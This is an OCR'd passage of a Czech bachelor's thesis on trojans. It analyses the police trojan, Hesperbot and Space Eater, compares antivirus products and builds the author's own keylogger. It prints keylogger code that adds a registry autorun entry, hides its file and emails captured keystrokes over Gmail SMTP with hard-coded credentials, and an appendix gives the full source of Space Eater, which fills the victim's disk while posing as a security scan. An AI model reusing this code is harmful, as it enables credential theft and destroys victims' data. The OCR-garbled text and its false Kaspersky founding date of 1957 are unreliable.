o poruseni zakont Ceské republiky a je zobrazena vyzva k zaplaceni, samotny virus
se sklada ze dvou casti. Prvni ¢ast je pro uzivatele neviditelnd a sklada se z klienta botnetu.
Tento klient propoji pocita¢ do sité botnetu a ¢ekd na ptikazy z fidiciho serveru. Nakazeny
pocitac lze pomoci piikazli z fidiciho serveru libovolné ovladat, ale ve vétSiné piipada
dojde pouze k zaslani a spusténi aplikace policejniho trojana. Druhou ¢asti je tato aplikace,
ktera je spusténa pii kazdém startu pocitace a ktera se maximalizuje ptes celou obrazovku

tak, Ze je vétSinou nemozné tuto aplikaci ukoncit.

4.1.4 Moznosti odstranéni

Zalezi na tom, jakou verzi policejniho trojana je poéitaé napaden. Uginnym nastrojem
pro star$i verze byl restart pocitace do nouzového rezimu, kde tato aplikace nebyla
po nabootovani spusténa a bylo mozné spustit skenovani pocitace antivirem nebo provést
obnoveni syst¢tmu do diivéjsiho bodu obnovy. Tim doSlo k odstranéni trojana. Nové;si
verze vSak nedovoli uzivateli standardni restartovani pocitate do nouzového rezimu,
ale uzivatel musi nouzovy rezim spustit slozitéji. Béhem restartu pocitace a po zmacknuti
klavesy F8 (zobrazi se nabidka moZnosti spusténi systému) musi uZivatel zvolit moznost
“Nouzovy rezim s piikazovym fadkem”, do kterého se lze dostat. PO nab¢hnuti PC
do nouzového rezimu s ptikazovym fadkem se musi smazat soubor s nesmyslnym nazvem
a koncovkou .exe, ktery se nachazi v nasledujicim umisténi:
C:\Users\user\AppData\Local\Temp. Dalsi soubor, ktery se musi odstranit, nese nazev
runctf.ink a obvykle se nachazi v C:\Users\Uzivatelsky ucet\AppData\Roaming\
Microsoft\Windows\Start Menu\Programs\Startup\. Posledni nutnou akci je odstranéni
zaznamu z registri, kde je potieba odstranit zaznam HKEY_CURRENT_USER\Software\
Microsoft\Windows NT\CurrentVersion\ Winlogon\“Shell“ = ,,explorer.exe,%UserProfile
%\Application Data\msconfig.dat. Manipulovat s registry musi uzivatel obezietné, jelikoz
v registrech se uchovavaji zdznamy o konfiguracich jednotlivych hardwarovych zatizeni

a také nainstalovaném softwaru. Smazani Spatného zdznamu z registri by mohlo
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pro uzivatele znamenat selhani nékterého harwaru, nebo dokonce i celého operac¢niho

systému.

4.2 Analyza trojského koné Hesperbot

Jedna se o trojského konég, ktery napadé elektronické bankovnictvi. Je schopen odecitat
stisky klaves na klavesnici (zjisti uzivatelské jméno 1 heslo), tvofit videa, vytvaret snimky
obrazovky, nastavit proxy nebo sledovat komunikaci na siti. Hlavnim poslanim trojana
je ziskat informace o bankovnich uctech uzivateld a pfipravit je o penize. Prvni infekce
trojana byla zjiténa v Ceské republice, tvirci skryli trojana do emailu od Ceské posty.
Email byl rozesilan z emailové adresy noreply@czposta.net, pozdé&ji info@csposta.com
v podobé¢ informaci o zésilce a v uZivateli se snazil vzbudit dojem, Ze je email zaslan
skuteéné od Ceské posty. Po kliknuti na piilohu byl viak uZivatel presmérovan
na podvodné stranky a do pocitace byl zanesen Skodlivy kéd. Trojan jménem Hesperbot
muze kromé pocitace infikovat i mobilni telefon a to zejména s operacnimi systémy
Android, Symbian a Blackberry. 1 z mobili mtze pofizovat snimky displeju, vytvaiet
videa a ménit riizna nastaveni. Cilem je opét ziskat ptihlaSovaci udaje k bankovnim uctim
klientt. Protoze platby z bankovnich G¢ti jsou vétSinou potvrzovany pomoci kodi
zaslanych pfes SMS, tak se tvlrci trojana snazi nabourat 1 mobilni telefony, aby ziskali
1 tyto kody. Potom, co ovladnou i mobilni telefon, neni problém odcizit majiteli z Gctu

finan¢ni prostredky.

4.2.1 Moznosti infikace

Skodlivy kéd je do poditade zanesen jednoduchym zptisobem. UZivateli je zaslan email
z podvodné emailové adresy, ktery obsahuje piilohu zasilka.pdf.exe . Pokud ma uzivatel
V nastaveni zobrazeni prizkumniku zvoleno, aby byla skryta pfipona souborit zndmych
typll, zobrazuje se mu piiloha pouze pod ndzvem zasilka.pdf. Po otevieni tohoto souboru
vSak nedojde k otevieni PDF souboru, protoze zadny neexistuje, ale dojde k zaneseni
tzv. dropperu do systému. Tento dropper ma za ukol aplikovat jadro, které piedstavuje
hlavni Skodlivou ¢ast trojana do explorer.exe. Jadro nasledné stahuje dalSi Skodlivé

zasuvné moduly, které umoznuji uto¢nikiim ziskat kompletni potfebna data o uzivateli.
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4.2.2 Roz§ireni

Nejvice rozsiteny byl bankovni trojan v Ceské republice a Turecku. Po kratké pauze,
kdy se zdalo, ze trojan vymizel, zacal napadat i po€itace v Portugalsku, Némecku, Australii
a nevyhnul se ani Slovensku. V soucasné dobé je jeho vyskyt monitorovan pievazné

v Australii.

4.2.3 Pisobeni

Trojsky ki po spusténi infikovaného souboru napadd pocitace s operacnim systémem
Windows, ale také mobily, které vyuzivaji platformy Symbian, Android, nebo Blackberry.
V piipadé, ze je trojsky kan v pocitaCi nainstalovan, zachycuje internetové stranky
hlavnich &eskych bank (CSOB, KB, Ceska Spofitelna, Unicredit bank a Net bank)
a provadi na téchto strankéach Skodlivou ¢innost. Pfipadné autorizaéni SMS zpravy zaslané
majitelim bankovnich U¢ti na jejich mobilni telefony jsou v pifipadé infikovani mobild
preposilany na telefonni ¢islo patfici Gtocnikovi a ten diky tomu mutze potvrdit piipadné

pfevody penéz na tctech.

4.2.4 Moznosti odstranéni

Infiltrace se nacita do operacni paméti pocitace, proto je v ptipadé nakaZeni nutné pocitac
restartovat do nouzového rezimu a trojského koné odstranit ruéné. Prace to miize byt
zdlouhava, nebot’ tento trojsky kan je schopny vytvofit velky pocet souborli a slozek
se Skodlivym kodem, ale d4 se velice dobfe najit a snadno odstranit. Po startu nouzového
rezimu se musi pomoci piikazu “regedit” oteviit editor registri. Zde je potieba
se proklikat do vétve HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run a zkontrolovat, jestli se tu nenachazeji soubory s nesmyslnym
nazvem, které odkazuji do slozky ProgramData. VSechny zaznamy s nesmyslnym nazvem
si je potieba zapamatovat a posléze klavesou DELETE tyto polozky z registri smazat.
Po smazéani zdznamt z registru je na fad¢ samotné odmazani soubort. Otevie se adresar
C:\ProgramData a zde se vyhledaji slozky s nesmyslnym ndzvem, ktery byl smazan
z registri a tyto adresafe se také smaZou. Pokud byly vSechny nesmyslné zidznamy
Vv registrech a adresafi smazany, muze se pocitac restartovat a spustit béznym zptsobem.
V ptipadé, Ze byly odstranény vSechny soubory, tak se pocita¢ spusti korektné
a bez trojského koné. Po nastartovani pocitace je dobré spustit jesté¢ hloubkovou analyzu

nainstalovanym antivirovym programem.
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4.3 Analyza trojského koné Space Eater

Tento trojsky kan neni nikterak zakefny, ani Vv jeho historii nezahltil tisice podcitacu,
ale zdrojovy kod tohoto trojana je voln¢ dostupny na internetu. (viz. pfiloha 1) Znamena
to, ze si tento kod muze stahnout i uzivatel, ktery se v programovani neorientuje a umistit

ho do pocitace obéti. Jeho zdrojovy kdd je pomérné jednoduchy a snadno ¢itelny.

4.3.1 Funkce trojana

Trojan se tvafi jako antivirovy program, ktery prohleda pocita¢ a informuje uzivatele, jestli
je vjeho pocitaci piitomny néjaky malware. Jedinou funkci tohoto trojana je, Ze zcela
zaplni volné misto na disku. Po jeho spusténi prohledd pevné disky v pocitaci a vybere
si ten, kde je nainstalovany operacni systém Windows. Na tomto disku vytvofi ve sloZce
windows\system32 soubor snazvem spceshot.dll. Koncovka DLL je ¢asto ignorovana
antivirovymi programy. Do tohoto souboru trojan néasledné umist'uje velké mnozstvi dat,
dokud zcela nezaplni pevny disk pocitace. Jakmile je disk plny, proces se zastavi a trojan

vypiSe hlasku, ze bylo skenovani dokonéeno.

4.3.2 MozZnosti odstranéni

Protoze se jedna o velmi jednoduchého trojana, ktery nezapisuje zadna data do registri,
ani neblokuje spusSténi zadnych jinych programt, je odstranéni velice primitivni. Staci
oteviit slozku C:\windows\system32 a najit zde soubor s nazvem spceshot.dll. Tento
soubor odstranit a vymazat z pocitace 1 EXE soubor, ktery vSe zplsobil. Poté je trojsky kin

odstranén a neni potieba spusténi nouzového rezimu, ani restartu pocitace.

4.4 Ucinna obrana pred infiltraci
Aby byl pocita¢ co nejvice chrdnén pifed moZnou nakazou, nesta¢i na ném mit
nainstalovany pouze antivirovy program, ale uzivatel se musi o bezpe¢nost starat mnohem

vice.

4.4.1 Antivir

V dnes$ni dobé¢ existuje velké mnozstvi antivirovych programi. Daji se pro nekomer¢ni
ucely ziskat zdarma, ale existuji i placené. Antivirovy program ma za ukol chréanit pocita¢
pred Skodlivymi programy. Funguje tak, Ze vyhledava v souborech a programech typické

znaky pro Skodlivy software, dale skenuje soubory a porovnéava jejich vnitini strukturu
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s virovou databazi. V ptipad¢, ze by objevil skodlivy kod, ulozi ho do karantény a upozorni
na tuto skuteCnost uzivatele. Mezi nejznaméjsi tuzemské spolecnosti, které vyvijeji
antivirové programy, patii spoleCnosti AVG a Avast!. Tyto spolecnosti umoznuji
uzivateliim pro nekomerc¢ni pouziti nainstalovat jejich produkty zdarma. Spole¢nost ESET
ma sidlo na Slovensku a jejich antivirovy produkt sice neni zdarma ani pro nekomer¢ni
uziti, ale pravidelné se v zebticku antivirovych programii umist'uje na ptrednich pozicich.
Dalsi zname svétové spolecnosti, které vyrabéji bezpecnostni software jsou Kaspersky

Lab, Microsoft Security Essentials, McAfee, nebo Symantec.

AVG Technologies

Tato spole¢nost nabizi své sluzby jiz od roku 1991. Sluzby spole¢nosti vyuziva
pfes 170 miliont uzivatelii. Zdkladni verze zdarma obsahuje pouze antivirovy program,
File Shredder a nastroj pro ochranu odkazd. Verze AVG Internet Security 2014 Ize
zakoupit za 1400,- K¢ za jednu licenci na rok a oproti free verzi obsahuje navic jesté i
firewall, anti-Spam a nékolik dalSich nastroji. Dle testt spole¢nosti Virus Bulletin vSak
usp&Snost odhaleni virG byla pouze 66,2%, coz je nejmén& ze vSech testovanych

produkta.’®

AVAST!

Tento produkt vyuzZiva pies 200 milioni uzivateli po celém svété. Jedna se také
o spole¢nost zalozenou v Cesku a jeji prvni nastroj pro odstranéni viru byl napsan jiz
v roce 1988, kam saha historie této spolecnosti. Zakladni verze Avast! Free Antivirus je
zdarma, ale obsahuje pouze anti-malware a inteligentni antivirus. Avast! Internet Security
jiz obsahuje vice nastrojii pro zabezpedeni poéitade, ale jeho cena je 1 190,- K&. Uspésnost
tohoto antivirového programu ale neni piili§ velikd, protoZze ze 79 testii byl antivirus 25x

neuspesny a jeho procento odhaleni viru bylo 68,4%. ol

16 Srovnani antivirovych programi, srovnani antivir. ANTIVIROVE CENTRUM [online]. 2.2.2014 [cit.
2014-03-01]. Dostupné z: http://www.antivirovecentrum.cz/antiviry/srovnani.aspx
7 Srovnani antivirovych programi, srovnani antiviri. ANTIVIROVE CENTRUM [online]. 2.2.2014 [cit.

2014-03-01]. Dostupné z: http://www.antivirovecentrum.cz/antiviry/srovnani.aspx
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ESET

Dalsi z antivirovych programt, ktery vyrabi stejnojmenna slovenska firma od roku 1992.
Uzivatel si mize zdarma stahnout pouze 30 denni program, pokud by se rozhodl pro delsi
vyuzivani tohoto programu, je nutné zakoupit licenci. ESET NOD32 Antivirus, ktery
obsahuje samotny antivirus, antispyware, antispam, firewall, anti-theft, rodicovskou
kontrolu a mnoho dal$ich uzitecnych funkci, stoji za jednu licenci na jeden rok 1 209,- K¢.
Zaroven se muze chlubit i velice dobrym vysledkem v nalezeni virti v pocitaci. Pro tento
produkt bylo dle Zebii¢ku spole¢nosti Virus Bulletin uskute¢néno celkem 84 testi a antivir
byl pouze 2x neuspésny. Tento vysledek jednoznacné fadi ESET na prvni misto zebticku

s celkovou uspésnosti 97,6%."

Kaspersky Lab

Spolecnost, kterd se zabyva antivirovym zabezpecenim sidli v Rusku, konkrétné v Moskvé.
Eugene Kaspersky zalozil firmu Kaspersky Lab v roce 1957, od 80. let se ptedevsim
zabyva antivirovou ochranou uzivatell. Produkty spolecnosti poskytuji zabezpeceni
300 miliontim uzivateli a 250 tisicim podnikovych zdkaznikl z celého svéta. Antivirovy
produkt Kaspersky je 7. nejlep$im programem pro antivirové zabezpeceni, bylo provedeno

105 testli z nichZ byl antivir 24x netspéSny. Kaspersky mé celkové procento UspéSnosti
77,2%. 7

Microsoft Security Essentials

Bezplatny antivirovy program nabizeny spolecnosti Microsoft. Antivirus nabizi
jednoduchou instalaci a komplexni ochranu uzivatele pfed malwarem. Je dostupny
v 33 jazycich. Program je urcen pro uzivatele a malé podniky do 10 pocitacl. V zebiicku

srovnani s ostatnimi antiviry si Securiry Essentials vedl pomérné dobie, bylo provedeno

'8 Srovnani antivirovych programi, srovnani antivird. ANTIVIROVE CENTRUM [online]. 2.2.2014 [cit.
2014-03-01]. Dostupné z: http://www.antivirovecentrum.cz/antiviry/srovnani.aspx
9 Srovnani antivirovych programi, srovnani antivird. ANTIVIROVE CENTRUM [online]. 2.2.2014 [cit.

2014-03-01]. Dostupné z: http://www.antivirovecentrum.cz/antiviry/srovnani.aspx
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11 testh a z nich byl pouze 1X nelspéSny. Procento UspéSnosti ochrany pted viry

se vy$plhalo na 90,9%.%°

McAfee

Antivir ma ve srovnani s ostatnimi antiviry celkovou uspésnost 68,4% a fadi se tak
do spodni casti zebficku uspé$nosti. Uskutecnéno bylo 76 testi z nichz bylo
24 neaspéSnych. McAfee je americka antivirova spole¢nost se sidlem v Kalifornii.
Spole¢nost Intel, ktera tento produkt vlastni, ho pravdépodobné piejmenuje z diavodu
nevhodného chovani zakladatele Johna McAfee. Ten se snazi pomoci internetu poskodit

dobré jméno antiviru McAfee riznymi kontroverznimi videii.?*

4.4.2 Firewall

Firewall se fadi mezi nezbytné programy, které chrani pocita¢ pred riznymi utoky
z internetu. Pokud nechce uzivatel vyuzivat firewall, ktery je od verze Windows Vista
standardn¢ obsazena v systému, miize si vybrat i z velkého mnozstvi jinych firewalll.
Veskera komunikace, kterd je vedena mezi pocitatem a vn&jSim internetem, prochazi
pres firewall, ktery dle svého nastaveni definuje pravidla pro komunikaci mezi sitémi.
Firewall ma za tkol kontrolovat veskeré sitové vstupy do pocitace a urCovat, jaka data

a informace muiiZe pocita¢ pfijmout.

4.4.3 Aktualizace

Viry, trojské koné a dalSi Skodlivé programy vyuZivaji bezpe€nostnich dér k tomu,
aby dokazaly infikovat pocita¢ v co nejvétsi mite. Aby dokdzal uzivatel zabranit nakazeni
pocitaCe, nestac¢i mit nainstalovany pouze antivirovy program, ale veSkeré aplikace musi
také aktualizovat. Mezi aplikace, které jsou nejvice zranitelné samoziejmé patii operacni
systém a internetovy prohliZec, jejichZ aktualizace jsou uZivateli nabizeny pomoci nastroje
Windows Update. Dulezité je aktualizovat i dalsi aplikace nebot’ velké mnozstvi virt
se dokaze do pocitace dostat i pfes neaktualizovanou Javu, nebo Adobe Flash Player.

Pro maximalni internetové bezpeci uzivatelll vyvinula slovenska antivirova spolecnost Eset

20 Srovnani antivirovych programi, srovnani antivird. ANTIVIROVE CENTRUM [online]. 2.2.2014 [cit.
2014-03-01]. Dostupné z: http://www.antivirovecentrum.cz/antiviry/srovnani.aspx
2 Srovnani antivirovych programii, srovnani antivir. ANTIVIROVE CENTRUM [online]. 2.2.2014 [cit.

2014-03-01]. Dostupné z: http://www.antivirovecentrum.cz/antiviry/srovnani.aspx
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nastroj zvany Exploit Blocker, ktery ptidava do systému dalsi vrstvu ochrany. Monitoruje
veskeré déni v pocitaci a v pripadé nebezpeci ihned danou hrozbu zablokuje a zasle
k analyze do antivirového centra. Tento uZzite¢ny nastroj chrani pocitac¢ pfed zero day

utoky, tedy utoky, které nejsou doposud znamy.

4.4.4 Uzivatelova obezretnost

Velice dulezitym ¢lankem pro co nejlepsi zabezpeceni pocitace je 1 chovani samotného
uzivatele. V piipad€, ze uzivatel otevird a stahuje do pocitace soubory a programy
od neovéfenych vydavatell, klikd na neznamé odkazy a otevira ptilohy emailt, které
mu piiSly z neznamych adres, existuje i pfes to, Ze jsou v pocitaci nainstalované nejnovéjsi
antivirové programy, velké riziko napadeni pocitace.

Dutlezitd data, o kterd nechce uzivatel piijit, by méla byt pravideln¢ zdlohovana. Diky
zaloze dat je zaruéeno, Ze v piipad€ napadeni pocitace a ztraté n€kterych soubord nepiijde
uzivatel o zadna dulezita data. Zaloha muze poslouzit i v pfipadé mechanického poskozeni
pevného disku. Zalohovanid data by se méla ukladat do jiného umisténi, nez kde

je nainstalovany operac¢ni systém — naptiklad na externi disk.

4.5 Novy trojsky kun

Neni cilem naprogramovat trojského koné, ktery se rozsifi internetem a bude z napadenych
pocitaci ziskéavat citlivé udaje. Noveé naprogramovany trojsky kun bude slouzit pouze
ke studijnim uceltim a jeho jedinou funkci bude, Ze bude zaznamenavat jednotlivé stisky

klaves a ty poté zaSle na pfedem ur¢eny email.

45.1 Plany

Trojsky kan bude skryt za program pro zlepSeni zvukovych efektli. Ve skuteénosti
k Zadnému zlepSeni nedojde, ale v pocita¢i bude spusténa aplikace, ktera bude
zaznamenavat jednotlivé stisky klaves a bude slouzit k tomu, aby ziskala uzivatelovi
piihlasovaci udaje emailu a facebooku. Aby byl trojan spustén pii kazdém zapnuti
pocitate, musi zapsat prislusnou hodnotu do registri. Dale se musi stanovit interval,
VvV jakém bude ziskana data trojan zasilat. V ptipadé, Ze by se zvolil dlouhy Casovy tusek,
tak hrozi, ze dojde ke ztraté velkého mnozstvi dat (nez se splni podminka, uzivatel pocita¢
vypne), ale kdyZ se naopak zvoli kratky interval, tak hrozi, Ze data nebudou dobte ¢itelna,

protoze budou rozdélena do velkého mnozstvi emailll. Dalsi dileZitou ¢asti je definice
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emailovych adres. Je nutné zadat piihlasovaci daje pro email odesilatele a zaroven uvést

1 email piijemce.

45.2 Realizace

Jako prvni se vytvoii formulat, ktery se uzivateli zobrazi po spusténi EXE souboru. Nadpis
Vv horni listé i obrazek evokuji uzivatele, Ze si skute¢né instaluje program pro zvukové
efekty. Tento formular obsahuje obrazek, dvé tlacitka a jeden check box. Po zaskrtnuti
check boxu a stisknuti tlacitka ,,Ano*“ dojde ke spusténi keyloggeru a zapsani nového

zaznamu do registri.

Obrazek 5 - formulaf trojského koné

Zvukové efekty 1.2 [l

<)

Souhlasim s podminkami instalace a chci
nainstalovat program pro zlepseni zvukovych
efektl pocitace.

Ano ‘ ' Ne

Zdroj: vlastni zpracovani

Spusténi trojanu pii startu pocitace se docili nastavenim registrii. Toto nastaveni zajisti
kod RegistryKey reg = Registry.LocalMachine.OpenSubKey ("Software\\Microsoft\\
Windows\\CurrentVersion\\Run", true);

reg.SetValue("zvukoveefekty", Application.Executable Path);
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Aktudlné stisknutou klavesu vraci metoda GetAsyncKeyState, kterou obsahuje knihovna
user32.dll. Tato metoda funguje i pro stisk tlac¢itek mysi, ale této funkce nebude

V naprogramovaném keyloggeru vyuzito.

Hodnota pro stisk klavesy je rovna -32767, a proto je v kodu zanesena podminka, ktera
Vv pfipadé, Ze je hodnota GetAsyncKeyState rovna tomuto cislu, pfida stisklou klavesu

do bufferu - if (GetAsyncKeyState(i) == -32767) buffer += Enum.GetName(typeof(Keys),
i);

Interval pro zasilani ziskanych informaci nebyl zvoleny casovy, ale bylo vyuzito délky
textového fetézce. if (text.Length > 1000) Email.Send(text); Tento 0daj znamena,
ze jakmile uzivatel napiSe na kldvesnici 1000 a vice znakd, tak jsou tyto znaky odeslany

na email tviirce tohoto trojana.

Trojana je potieba co nejvice skryt, aby nebyl uzivatelem ihned odhalen, proto se vyuzije
statické metody SetAttributes, ktera obsahuje tfidu System.IO.File a nastavi se atribut
Hidden. Kod tohoto zaznamu vypada takto: System.lO.File.SetAttributes(Application.
ExecutablePath,System.1O.FileAttributes.Hidden);

Emailové adresy se definuji ve tiidé Email. Utonik musi mit zalozeny funkéni email,
odkud se budou emaily odesilat, v tomto piipad¢ byl zalozeny email na serveru Gmail.com
a zvolena emailova adresa bptomm117@gmail.com a heslo ,,czupef14*. Dale je definovan
SMTP server a jeho port, zvolen predmét zpravy a do té€la emailu vloZzen zachyceny text.
Nasledné je na definovanou adresu (v tomto pfipadé na adresu tomanmi@gmail.com)

zaslan email, ktery obsahuje 1000 zachycenych znaki.

string email = "bptomm117@gmail.com"”;

string pass = "czupef14™;

NetworkCredential loginlnfo = new NetworkCredential(email, pass);
MailMessage msg = new MailMessage();

SmtpClient smtpclient = new SmtpClient(*smtp.gmail.com”, 587);

msg.From = new MailAddress(email);
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msg.To.Add(new MailAddress("tomanmi@gmail.com™));
msg.Subject = "Zaznam_keyloggeru";

msg.Body = value;

smtpclient.EnableSsl| = true;
smtpclient.UseDefaultCredentials = false;
smtpclient.Credentials = logininfo;

smtpclient.Send(msg);

4.5.3 Moznosti vylepSeni trojana

Naprogramovany trojsky kil zaznamenava stisky veskerych klaves, to znamena, ze pokud
uzivatel vyuzije funk¢nich nebo systémovych klaves, keylogger odchyti a napiSe nazev
i téchto klaves. Jejich nazev vSak neni vzdy vypovidajici a hackerovi nemusi byt vzdy
jasné, jaka kladvesa byla ve skute¢nosti zmacknuta. Proto by dale mohl byt keylogger
vylepSen o metodu Replace, ktera stisklé¢ kldvesy pfevede na srozumitelné znaky. Kod,
ktery by zobrazil tecku, c¢arku, vykfi¢nik, otaznik, lomitko a backspace, vypada

nasledovné:

public static string ReplaceChars(string text)
{
text = text.Replace("OemPeriod", ".");
text = text.Replace("OemSemicolon™, *,");
text = text.Replace("OemQuotes™, "I");
text = text.Replace("Oemcomma", "?");
text = text.Replace("Oem4", "/™);
text = text.Replace("Back", "<==");

return text;

}23

Obdobné by se mohly ptevést znaky s diakritikou, kterou keylogger neumi rozpoznat

a napiiklad klavesu ,,a* by zaznamenal jako ,,D8.

2 ylastni zpracovéni

2 r S
® vlastni zpracovani
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Keylogger muze byt dale rozSiten o velké mnozstvi funkei, zalezi pouze
na programatorovi, jaké dalSi informace potiebuje ziskat. Aplikace mize byt naptiklad
rozSitena o detekci IP adresy, takze muze do odesilanych emailti umistit 1 IP adresu
pocitace, nebo muize byt naprogramovana tak, ze bude zaznamendvat pouze znaky, které
jsou zapsany do poli, které maji atribut ,,masked textbox®, ¢ili pole, kam se pisi hesla.
V tomto piipadé by vSak keylogger nezaznamenéaval piihlasovaci jméno k uctu,
ani stranky, na kterych bylo heslo vyplnéno. V neposledni fadé¢ muze keylogger snimat

i obrazovku a zasilat v pravidelnych intervalech screenshoty obrazovky.

4.5.4 Odstranéni keyloggeru z pocitace

Vytvoteny trojan je z pocitace snadno odstranitelny. Sta¢i pouze védét, jak byl spustitelny
soubor pojmenovan a spustit editor registri. Zaznam v registrech ma za ukol spustit
aplikaci pti kazdém startu pocitace. Je nutné piikazem ,regedit” spustit editor registri
a odmazat ve vétvi ,Software\\Microsoft\Windows\\CurrentVersion\Run“ polozku
»zvukoveefekty”. V dalsim kroku se musi spustit spravce tloh a rozkliknout zalozku
,Procesy”. Zde najit spusStény proces s nazvem ,zvukoveefekty.exe® (pokud nebyl
spustitelny soubor piejmenovan jinym ndzvem) a tento proces ukoncit. Po ukonceni
procesu je mozné odstranit samotny spustitelny soubor, ktery se jmenuje stejné jako
ukonceny proces. Po provedeni téchto tii krokt je trojsky kiin z pocitace tispé€$né odstranén

a ani pii dalSim spusténi pocitace nedojde ke spusténi tohoto trojského koné.
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5 Zavér

Cilem bakalafské prace bylo vytvofit jednoduchého trojského koné. Po analyze
nejznaméj$ich trojand, jejichz vyskyt byl monitorovan i v Ceské republice, doslo
ke zpracovani planu funkénosti nového trojana. Ten byl naprogramovan a odzkousen.
Spusténi naprogramované aplikace uzivateli slibuje vylepSeni zvukovych efektl pocitace,
ale ve skutecnosti tato aplikace pouze zapiSe novou hodnotu do registra, ktera zaruci, ze pti
kazdém nastartovani pocitaCe bude trojsky kun spustén a spusti trojského koné, ktery
zaznamenava jednotlivé stisky klaves a po ur€eném intervalu je zasild na pfedem urceny
email.

Naprogramovany trojsky kin je pted uzivatelem skryt, to znamend, Ze jeho pfitomnost
V pocitaci lze zjistit pouze ze spravce uloh, kde bude zobrazen mezi spusténymi procesy.
Z tohoto diivodu miize byt trojan v pocitaci bez povSimnuti umistén velice dlouhou dobu
a zasilat veskerou komunikaci, pfistupové udaje a dalsi citlivé tidaje napsané na klavesnici
napadeného pocitace na urceny email. Proto je nutné nepodceniovat ochranu pocitace .

K ochrang dat a informaci miize pomoci i silné heslo, které je dostate¢n¢ dlouhé, obsahuje
specialni znaky (mezeru, dvojtecku, ¢arku, atd.) a nékolik Cisel, ale v piipadé, zZe je pocitac
napaden trojanem typu KeyLogger, ktery byl v této bakalaiské praci naprogramovan
a ktery zaznamenava stisky klaves, je i sebelepsi heslo snadno odhalitelné.

V ptipadé¢ napadeni pocitace hrozi uzivateli ztrdta nebo prozrazeni citlivych dat.
Za odvirovani pocitace uzivatel zaplati ptiblizn¢ 1000,- K¢ a nema zaruceno, Ze odvirovani
bude uspésné. Proto se vyplati investovat do antivirovych programi, které riziko napadeni

pocitace podstatné snizuji a nestahovat neovétrené aplikace.
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g Prilohy

Ptiloha 1 - Zdrojovy kod trojského koné Space Eater
Ptiloha 2 - Keylogger class vlastniho trojského kon¢
Ptiloha 3 - Email class vlastniho trojského koné

Ptiloha 4 - Vysledky testovani antivirovych programi

Piiloha 1 - Zdrojovy kéd trojského koné Space Eater®

#include<stdio.h>

#include<conio.h>

#include<dos.h>

#include<stdlib.h>

FILE *a,*t,*b;

int r,status,vir_count;

double i;

char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);

void accept(void);

void main()

{

draw();

accept();

textcolor(WHITE);

draw();

gotoxy(12,8);

cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
sleep(3);

gotoxy(12,8);

delline();

cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
getch();

gotoxy(12,8);

delline();

findroot();

}

void accept()

textcolor(LIGHTRED);

gotoxy(1,8);

cputs("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT
WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE

24 Space Eater. In: How to Make a Trojan Horse | Go Hacking [online]. 2009 [cit. 2014-02-15]. Dostupné z:
http://www.gohacking.com/make-trojan-horse/
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TO\N\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE
\"spceshot.d11\" LOCATED IN\n\n\r \"%windir%\\System32\".\n\n\rIF YOU WISH TO RUN
THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");

if((choice=getch())!=13)
exit(9);
}

void draw()

{

clrscr();

textcolor(WHITE);

gotoxy(12,2);
Cputs("********************************************************");
gotoxy(12,6);
cputs("********************************************************" ;
gotoxy(12,3);

cputs("*\n\b*\n\b*\n\b");

gotoxy(67,3);

cputs("*\n\b*\n\b*\n\b");

gotoxy(14,4);

cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");

}

void findroot()

{

t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)

{

fclose(t);

textcolor(WHITE);
a=fopen("C:\\windows\\system32\\spceshot.d1l1l","rb");
if(al=NULL)

{

textcolor(LIGHTRED);

gotoxy(12,8);

cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();

exit(1);

}
b=fopen("C:\\windows\\system32\\spceshot.d1ll", "wb+");
if(b!=NULL)

{

showstatus();

eatspace();

}

}

t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)

{

fclose(t);
a=fopen("D:\\windows\\system32\\spceshot.d1l1l","rb");
if(a!=NULL)

{

textcolor(LIGHTRED);

gotoxy(12,8);

cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();

exit(1);

}
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b=fopen("D:\\windows\\system32\\spceshot.d1ll", "wb+");
if(b!=NULL)

{

showstatus();

eatspace();

}

}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)

{

fclose(t);

a=fopen("E:\\windows\\system32\\spceshot.d1l1l","rb");
if(a!=NULL)

{

textcolor(LIGHTRED);

gotoxy(12,8);

cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();

exit(1);

}
b=fopen("E:\\windows\\system32\\spceshot.d1ll", "wb+");
if(b!=NULL)

{

showstatus();

eatspace();

}

}

t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)

{

fclose(t);
a=fopen("F:\\windows\\system32\\spceshot.d1l1l","rb");
if(al=NULL)

{

textcolor(LIGHTRED);

gotoxy(12,8);

cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();

exit(1);

}
b=fopen("F:\\windows\\system32\\spceshot.d1ll", "wb+");
if(b!=NULL)

{

showstatus();

eatspace();

}

}

if(t==NULL)

{

textcolor(LIGHTRED);

gotoxy(12,8);

cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
getch();

exit(1);

}

exit(1);

}

void eatspace()

{
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textcolor(LIGHTRED);

gotoxy(12,16);

cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
textcolor(WHITE);

gotoxy(12,18);

while(1)

{

for(r=1;r<4;r++)

{

for(i=1;1i<900000;i++)

{

status=fputs(ch,b);

if(status==EOF)

{

textcolor(WHITE);
vir_count=random(120);

draw();

gotoxy(12,8);

cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
gotoxy(12,10);

cprintf("PRESS ANY KEY TO CLOSE...");

getch();

break;

}

}

cputs(".");

if(status==EOF) break;

}

if(status==EOF) break;

}

exit(0);

}

